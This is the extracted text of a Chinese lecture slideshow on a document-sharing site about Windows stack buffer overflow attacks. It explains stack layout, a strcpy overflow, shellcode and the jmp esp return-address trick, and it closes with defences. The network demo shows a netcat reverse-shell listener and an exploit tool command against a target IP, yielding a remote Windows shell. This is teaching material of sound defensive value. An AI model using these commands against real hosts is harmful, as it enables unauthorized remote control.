Windows缓冲区溢出攻击深入研究

上传人:豆浆 文档编号:48313492 上传时间:2018-07-13 格式:PPT 页数:26 大小:248.50KB
返回 下载 相关 举报
Windows缓冲区溢出攻击深入研究_第1页
第1页 / 共26页
Windows缓冲区溢出攻击深入研究_第2页
第2页 / 共26页
Windows缓冲区溢出攻击深入研究_第3页
第3页 / 共26页
Windows缓冲区溢出攻击深入研究_第4页
第4页 / 共26页
Windows缓冲区溢出攻击深入研究_第5页
第5页 / 共26页
点击查看更多>>
资源描述

《Windows缓冲区溢出攻击深入研究》由会员分享,可在线阅读,更多相关《Windows缓冲区溢出攻击深入研究(26页珍藏版)》请在金锄头文库上搜索。

1、Windows缓冲区溢出攻击 深入研究1.一个对话框2.简介v缓冲区溢出(又称堆栈溢出)攻击已成为最 常用的黑客技术之一。 v涉及各种操作系统、应用软件中广泛存在普 遍且危险的漏洞 。v导致程序运行失败、系统崩溃等后果 。v更为严重的是可以利用它执行非授权指令, 取得系统特权,进行各种非法操作。 3.缓冲区溢出带来的病毒v第一个缓冲区溢出攻击-Morris蠕虫,发生在 1988年,它曾造成了全世界6000多台网络服 务器瘫痪。 4.缓冲区溢出攻击相关知识vIA-32汇编vWinsock编程vTEB(线程环境块)vPEB(进程环境块)vPE文件结构v代码权限(ring0,ring1,ring2,

2、ring3)5.使用的工具vEthereal包分析工具vOllyDbg32位汇编级调试工具vSoftICE系统调试器6.缓冲区溢出攻击的目的 v扰乱具有某些特权运行的程序的功能 v使得攻击者取得程序的控制权 v对目标电脑造成损害v获取秘密资料v借助他人的电脑或服务器做坏事微观目的:宏观目的:7.引起缓冲区溢出 vC(与其后代 C+)本质就是不安全的。v开发人员没有做边界检查数组和指针的引用 (而这一行为往往会被忽视)。v标准C 库中还存在许多非安全字符串操作, 包括:strcpy() 、sprintf() 、gets() 等。 8.IA-32堆栈(Windows系统)参数2参数1EIP+100

3、12FF7C0012FF800012FF840012FF880012FF740012FF700012FF78栈堆堆栈参数2参数1EIP+10012FF7C0012FF800012FF840012FF880012FF740012FF700012FF789.Windows函数调用原理 PUSH 参数2PUSH 参数1CALL 函数;(PUSH EIP+1).函数 PROC.RET ; (MOV EIP,EBP)函数 ENDPEBP10.Windows空间申请参数2参数1EIP+10012FF7C0012FF800012FF840012FF880012FF740012FF700012FF78char

4、 bigbuff=“aaaaaaaaaa”void main()char smallbuff5;strcpy(smallbuff,bigbuff); 11.堆栈溢出参数2参数1EIP+10012FF7C0012FF800012FF840012FF880012FF740012FF700012FF78char bigbuff=“aaaaaaaaaa”void main()char smallbuff5;strcpy(smallbuff,bigbuff); 返回地址10个aaaaaaaaa aa12.本地溢出实例char bigbuff=“aaaaaaaaaa”void main()char sma

5、llbuff5;strcpy(smallbuff,bigbuff); 13.溢出代码调试( 一)14.溢出代码调试( 二)(1 )(2 )(3 )(4 )15.ShellcodevShellcode是一段机器指令,用于在溢出之后 改变系统正常流程,转而执行Shellcode从而 完成攻击者的功能。 v运作方式:调用系统API函数,完成各种操作 。几乎可以完成所有系统操作。16.网络缓冲区溢出攻击v攻击目的:获取远程主机控制权限v工 具:bkdcom.exev途 径:通过网络v攻击方式:反弹端口v包分析工具:Ethereal(攻击端使用)v调试工具:SoftICE(被攻击端使用)v其他工具:NC

6、(瑞士军刀)17.攻击操作C:nc v l p 80 listening on any 80 .C:bkdcom 10.142.127.1 10.142.104.74 80 19 =Packet send!If shell didnt come to you,exploit had failed! C:C:nc -v -l -p 80 listening on any 80 . connect from SUBAN-EDY5HFCKU 10.142.127.1 1031 Microsoft Windows 2000 Version 5.00.2195 (C) 版权权所有 1985-1998 M

7、icrosoft Corp. C:WINNTsystem32CMD-2CMD-1CMD-118.溢出调试(被攻击端)(1)利用万能断点:bpx lstrcpyW19.溢出调试(被攻击端)(2)发生溢出的函数入口20.溢出调试(被攻击端)(3)发生溢出后,将返回地址覆盖21.溢出调试(被攻击端)v覆盖是什么地址呢?v77E2E32A 这个地址,存放着下面代码:vjmp esp22.溢出调试(被攻击端)v1998年,cDc的Dildog,在他的文章内首次提 出。v执行ret后,eip已经变成可以控制的内容。v通过jmp esp,放在esp后的Shellcode,就可以 准确定位了。23.溢出攻击达

8、到目的C:nc -v -l -p 80 listening on any 80 . connect from SUBAN-EDY5HFCKU 10.142.127.1 1031 Microsoft Windows 2000 Version 5.00.2195 (C) 版权权所有 1985-1998 Microsoft Corp. C:WINNTsystem3224.最近流行的缓冲区溢出病毒v(1)冲击波 利用漏洞:RPC缓冲区溢出 135/TCPv(2)震荡波 利用漏洞:LSASS漏洞 1025/TCPv(3)极速波 利用漏洞:UPNP漏洞 445/TCPv(4)高波 利用多种漏洞,非常危险预防缓冲区溢出目前有三种基本的方法保护缓冲区免受缓冲区 溢出的攻击和影响:v1、通过操作系统使得缓冲区不可执行,从而 阻止攻击者植入攻击代码;v2、强制写正确的代码的方法;v3、利用编译器的边界检查来实现缓冲区的保 护,使得缓冲区溢出不可能出现,从而完全 消除了缓冲区溢出的威胁。

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 医学/心理学 > 综合/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号